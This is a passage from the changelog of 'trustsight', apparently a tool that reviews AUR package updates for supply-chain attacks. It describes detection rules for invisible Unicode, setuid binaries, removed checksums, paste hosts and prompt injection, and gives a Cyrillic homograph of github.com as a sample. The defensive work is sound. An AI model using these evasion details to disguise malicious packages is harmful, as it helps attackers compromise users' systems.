git clonefrom GitHub plusmakepkg -siagainst the in-repo PKGBUILD. The pipx andpiproutes have been removed, and the docs note that the package is not yet published to the AUR. rules.mddocumented a bare function header as the only header behaviour, and did not mention that continuations are joined before matching. Both corrected, along with the qualification thatmessagecontext requires the line to be only a message.cli.mdlistedscope-contradictionas an error; it is now a warning.
[0.4.1] - 2026-07-25¶
Added¶
--jsonflag on all commands for machine-readable output.- PKGBUILD build+install CI workflow using
archlinux:latestcontainer. - AUR install instructions in README and getting-started guide.
Changed¶
- CLI migrated from
argparsetotyper: auto-generated--help, type-annotated callbacks,--jsonflag per command. Entry point renamed frommaintoapp. - CLI tests updated from
patch(sys.argv)pattern totyper.testing.CliRunner. - Documentation tests parse typer patterns (
add_typer,@command) instead of argparseadd_parser.
Fixed¶
- Mirror-check CI now triggers on
pushfor corpus.lock and benign-corpus changes.
[0.4.0] - 2026-07-25¶
Added¶
- Multi-repo and foreign package discovery: new
--repo,--foreign,--all-reposflags fortrustsight review. Packages can be scanned from specific local repositories, all auto-detected local repos (excluding official ones), and/or foreign packages. Config-driven defaults via new[discovery]section inconfig.toml. vercmp-based version comparison for accurate detection of outdated packages (replaces string inequality).- Graceful fallback to string comparison when
vercmpbinary is missing.
Changed¶
- Python requirement lowered from
>=3.12to>=3.10.tomllibusage replaced with atomlifallback shim for 3.10 compatibility. - CI matrix expanded to test Python 3.10 through 3.14.
- Catastrophic backtracking detection threshold raised (
_BACKTRACK_REPS18 -> 22) to remain effective on Python 3.12+ optimized regex engine.
[0.3.1] - 2026-07-24¶
Fixed¶
- Verdict text no longer printed to stdout during
reviewfor every package (strayprint(result)ingenerate_verdict_streamnon-streaming path) - Stale
~/.pyenv/shims/trustsightshadowed pipx install, causingtrustsight -vto report 0.1.0 instead of the actual installed version
Added¶
-v/--versionCLI flags viaimportlib.metadata.version()- Graceful
KeyboardInterrupthandling: cleanInterrupted.message and exit code 130 instead of an SSL/httpx traceback
Changed¶
-hhelp now includes config subcommands section (config show,config set,config sync-rules) and usage examples
[0.2.2] - 2026-07-24¶
This release fixes a critical false positive in R013 that could score benign packages 100/100, restores the novelty engine (Tier C) which had been inert since v0.1, and ships a pre-seeded database of 178,491 AUR source URLs to eliminate cold-start INCONCLUSIVE verdicts.
Existing users must run trustsight config sync-rules --update to receive
the corrected detection patterns. rules.toml is written only when absent, so
a package upgrade alone does not update it. The command is additive and never
overwrites a rule you have edited.
Note: v0.2.1 was already tagged at the previous commit, and the [0.3.0]
section below is recorded in this changelog but was never tagged. This release
takes the next free patch number; the 0.3.0 discrepancy is left for a separate
reconciliation.
Fixed¶
- R013 (FATAL) fired on legitimate localized text. U+200B-U+200D are mandatory joiners in Malayalam, Lao and other scripts, so a
GenericName[ml]=line in a browser package scored 100/100; measured on two packages in the benign corpus. Zero-width characters now require ASCII neighbours; bidi overrides, invisible operators and tag characters still fire unconditionally. The pattern also gains U+200E/U+200F, U+2060-U+2064 and the tag block, whichunicode.pyalready listed and which account for the documented recall gap. - R058 fired on
"${pkgdir}"/usr/lib/..., where the quote closes before the path, and on absolute paths quoted insideechostrings. It now requires the command to be the first token on the line and the path to start an argument. - The maintainer was read from
.SRCINFO, which does not carry one; checked against the AUR mirror, 0 of 200.SRCINFOfiles have amaintainer =line, while every PKGBUILD opens with# Maintainer:.get_maintainer_from_commit()therefore always returnedNone, silently disablingmaintainer_changed, the highest novelty weight (20), and C006. Now read from the PKGBUILD comment, with.SRCINFOas a fallback. scan_difftracked novelty differently from the live path in three ways: it compared raw URLs instead ofnormalize_url-d ones (so every version bump read as novel), it derived "first seen globally" from the per-package set (making it identical to per-package), and it overwrote rather than OR-ed the flags across multiple URLs (so a familiar URL masked a novel one).- Tier C novelty was inert:
observation_countwas never populated outside tests, somaturity()always read 0 and every novelty weight scored zero. Now sourced fromcount_observations(). - Homograph detection missed Cyrillic confusables.
has_homograph()only matched codepoints namedLATIN*, while theCONFUSABLEStable it sits beside is Cyrillic; sogithub.cоmclassified asunknown(+20) rather thanhomograph_attack(+30). Replaced with mixed-script-per-label detection, plus punycode decoding to close thexn--bypass. Legitimate single-script IDNs (.рф, Japanese, Korean) are not flagged. cli.pycalledset_configwithout importing it, sotrustsight config setraisedNameError.scripts/build_corpus.pyhad a 600s timeout on the AUR bare clone, which the repository cannot meet, so the script could never complete on a fresh machine. Partial clones were also left on disk and reused silently, sincerev-parse --git-dirsucceeds on an interrupted clone.
Added¶
- Novelty seed database.
scripts/generate_seed.pybuilds it from the AUR git mirror by parsing.SRCINFO(including the arch-suffixedsource_x86_64arrays);trustsight seed-dbimports it. Without a seed, a fresh install has an emptysource_urlstable, sourl_first_globallyfires for github.com and every other ordinary host, andmaturity()returns 0 because there is no analysis history; leaving every Medium verdict downgraded to INCONCLUSIVE. Import is additive and idempotent, and never overwrites a row learned from a real analysis. metadataandmaintainer_countstables, andeffective_observation_count(): maturity falls back to a seed-supplied bootstrap count, and real analyses take over as soon as they outnumber it, so the tool never depends on external data permanently.trustsight lint-rules(--filefor CI): detects unreachable, over-broad, and malformed rules. Errors on empty patterns, duplicate ids, ids owned byanalysis.py, comment-shadowed rules, and scope contradictions; warns on rules that fire on ordinary packaging.- Expanded ruleset R039-R059 (21 rules), calibrated against a 3322-diff stratified benign corpus and enabled by default. Fourteen fire on zero benign diffs; every remaining hit was inspected individually and all but one were true positives. R053 was split by target: setuid inside
$pkgdiris MEDIUM (Chromium's sandbox helper legitimately needs 4755, and at MEDIUM this changes no package's risk band), while setuid on an absolute path is a separate HIGH rule, R059. Theexperimentalflag remains supported for future additions. - Programmatic rules C004 (checksum removed for unchanged source), C005 (binary artifact from untrusted source), C006 (maintainer change with new source domain), C007 (command substitution in source array).
- Rule scopes may name a PKGBUILD function (
scope = ["pkgver"]), not just a line context. added_onlyrule field: match only added lines, so deleting a suspicious line no longer raises a package's score.- Ephemeral paste and file-drop services added to the
raw_hostingbucket.
Changed¶
- Novelty weights recalibrated now that tier C is live:
url_first_globally15 → 10,url_first_in_package10 → 5,maintainer_first_in_package20 → 15. The previous values had never been exercised, becauseobservation_countwas never populated and the maturity multiplier was permanently 0. At full maturity they took a borderline 15-point package with a novel URL and a novel maintainer to 60 (High); the new values keep that case at 45 (Medium). Maintainer novelty remains the strongest signal. _structural_findings()is now shared byanalyze_package()andscan_diff(), removing ~110 lines duplicated between the live and offline pipelines.
[0.3.0] - 2026-07-18¶
- Score column renamed to "Risk Score"
- Rich progress output during review
- AUR RPC batching for performance
- Handle empty AUR repos gracefully
- FATAL severity with hard stop at 100
- Verification evidence detection and scoring
- Source pinning classification
- Code rules C001-C003 for structural anomalies
- URL normalization for novelty dedup
- Maturity-based novelty gating with Inconclusive risk level
- Scope-based rule matching (function_body context)
- R012 (prompt injection) and R013 (unicode bidi) rules
- LLM verdict integrity assertions
- scan_diff offline pipeline for benchmark use
- is_skip_justified analysis for SKIP checksums
- Fix: SKIP checksums no longer count as verification evidence
- Removed R004/R005 from TOML rules (now programmatic, context-aware)
- Default LLM provider changed to openai
- CI workflows for corpus drift monitoring
- 267 tests (was 218)
[0.2.0] - 2026-07-15¶
- R004/R005 rule hardening with quote bypass fix
- Tokenizer iteration fix
- Forge classification cap
- IDN detection
- Shell variant coverage
- base64 --decode detection
[0.1.0] - 2026-07-12¶
- Initial release
- R001-R011 rules
- AUR diff analysis pipeline
- Deterministic scoring
- SQLite novelty tracking
- LLM verdict integration
- Basic CLI (review, inspect, history, config)